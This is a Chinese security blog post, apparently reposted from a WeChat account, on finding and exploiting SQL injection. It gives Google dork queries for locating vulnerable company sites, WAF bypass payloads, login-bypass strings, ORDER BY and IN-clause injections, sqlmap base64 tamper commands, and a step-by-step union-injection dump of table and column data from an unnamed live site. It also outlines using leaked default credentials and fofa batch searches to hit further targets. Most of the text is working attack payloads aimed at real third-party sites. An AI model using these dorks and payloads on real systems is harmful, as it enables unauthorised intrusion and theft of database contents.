本篇文章会介绍下注入点的查找、绕过方式+漏洞实战挖掘思路和案例
如何查找注入点?
谷歌搜索 谷歌搜索 谷歌搜索
为什么不用百度呢?
比较少,并且找的很多为国内网站。
SQL注入:
inurl:.php?id=xx 公司
inurl:.asp?id=xx 公司
inurl:.jsp?id=xx 公司
id传参的数字也可以变换 这样就可以找到不同的站点
也可以在公司后面加上地区
SQL注入常见绕过方式:
大小写加负数绕过:
ANd -1=-1
编码绕过:
跟DOM型XSS一样
+号连接绕过:
and+1=1
union+select+1+2
溢出绕过:
post传递的参数可以有很多
可以在数据包发送大量垃圾字符,使得waf无法正常工作
白名单(管理员权限或者是127.0.0.1本地访问不拦截,设置X-Forwarded-For)
无闭合方式绕过:
http://localhost/?id=1 --+/*%0aand 1=1 --+*/
有闭合方式绕过:
http://localhost/?id=1 --+/*%0a'and 1=1 --+ --+*/
总结:不管什么SQL注入都要结合着来 就算这个地方存在显错注入 你也可以试试用延时注入做出来 这样做的好处就是可以增强对盲注语法以及其他语法的认识
切记要先判断存在注入点的位置,再根据数据库类型如oracle、sqlserver选择对应的语法进行利用,还有一些常见过滤,=被过滤可以用like进行替换,空格可以用/**/进行替换等
百度有很多绕过方法sql注入绕过方式 - 戴好面具 - 博客园 (cnblogs.com),实在绕不过去就换个网站,优先php,存在sql注入漏洞,再去其他位置进行漏洞查找,可能还会有意外惊喜
sql注入产生的关键点:
用户提交(主动或被动)的数据内容被带入到数据库程序没有对用户提交的内容做合理的处理,导致用户可以改变原有sql语义添加额外的sql语句
伪静态
伪静态的也是一样的
比如:
http://localhost/index.html
http://localhost/index and 1=1.html
普通测试:
整型:id=111-0与id=111-1
字符型:username=zhangsan' and 1=1# 与username=zhangsan' and 1=2#
搜索型:word=%a%'and 1=1#与word=%a%' and 1=2#
万能密码测试
'or1=1# 通过使结果变成为真的结果 密码随意填写admin'# 已知账号为admin,将后边注释,密码不会校验
思考为什么万能密码不是插入密码处:select* from member where username=' 'or 1=1#' and pw='aaaaa';
非常见位置测试:
order by [注入点]: 常见参数(orderby) //预编译对该位置sql注入无效原值,if((1=1),1,(select 1 union select 2))原值,if((1=2),1,(select 1 union select 2))order by 列名 [注入点]: 常见参数(desc、asc) //预编译对该位置sql注入无效原值,if((1=1),1,(select 1 union select 2))原值,if((1=2),1,(select 1 union select 2))
预编译过程:
username = ?传递这样的东西给数据库,后边再传内容都在username之内如果传字符型的参数,预编译传递到数据库都会去加",这是错误指令 都不会起作用
包括desc倒序和asc正序,预编译都不会起作用排序场景:按时间、商品热度排序
?test_param=1,if((1=1),1,(select 1 union select 2))&desc=asc加if判断,1=1为真,正常,显示1=2,不正常,执行后面程序,显示执行结果超过了一行
非常见位置测试:
in(注入点):常见参数(ids或值中包含,的其他参数)
原值) and 1=1# 字符型:原值') and 1=1#
原值) and 1=2# 字符型:原值') and 1=2#
查询条件多个值的时候
闭合,注释后边
需要猜测值里边是否有内容,这个位置是否跟了多个参数
base64参数的测试:
优势:绝大部分扫描器不会识别 参数经过base64转换后可以绕过waf示例:http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D利用:python sqlmap.py -u "http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D" -p test_param --tamper base64encode.py
传的值经过base64加密lili' and '1' = '1加密==url编码%3D
构造lili' and '1'='2加密,可以绕过waf自动化测试:sqlmap --tamper base64encode.py
① 、漏洞挖掘实战
www.xxx.org/members.php?id=1
用单引号“'”的时候,发现网站报错。
接着测试,order by 5 ,以第5列进行排列,报错。当 表<=实际列数,就不会报错。
www.xxx.org/members.php?id=1 order by 5
www.xxx.org/members.php?id=1 order by 4
由以上可知,当前表的列为4。
知道了几列,接下来就能知道回显的是哪几列。
②、联合注入
www.xxx.org/member.php?id=1 and 1=2union select 1,2,3,4
=被过滤使用
www.xxx.org/member.php?id=1 and falseunion select 1,2,3,4
回显了2,4列。
www.xxx.org/member.php?id=1 and false union select 1,user(),3,database()
接下来查元数据库,information_schema。
www.xxx.org/member.php?id=1 and false union select 1,user,3,(selecttable_name from information_schema.tables where table_schema=database limit0,1)
www.xxx.org/member.php?id=1 and false union select 1,(select id from db83231_asfaa.members limit 0,1),3,(select column_name frominformation_schema.columns where table_schema=database andtable_name='members' limit 0,1)
concat字段查询(将多个字段一行输出),查询member表内容。
http://www.xxx.org/members.php?id=1 and false union select 1,(select concat(id,nome,imagem,texto) from db83231_asfaa.members limit 0,1),3,(selectcolumn_name from information_schema.columns where table_schema=database andtable_name='members' limit 0,1)
以上为某次手动sql注入实战过程
再记一次某云平台高危sql注入漏洞的挖掘思路和最新案例
先通过信息泄露拿到某平台的默认账号密码,fofa上对该平台进行批量搜索
为避免被恶意利用,这里就不放细节了
进入平台后,在XX管理功能点,选择一条数据,点击XX统计管理,按步骤点击后抓包
判断出sort参数存在SQL注入,删除cookie依旧能够注入成功,为前台注入
以此类推,爆出数据库名为bXXp_XXX_vXXe
0x00 钟毓安全往期精选
原文始发于微信公众号(钟毓安全):记一次某云平台高危sql注入漏洞的挖掘思路和最新案例
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论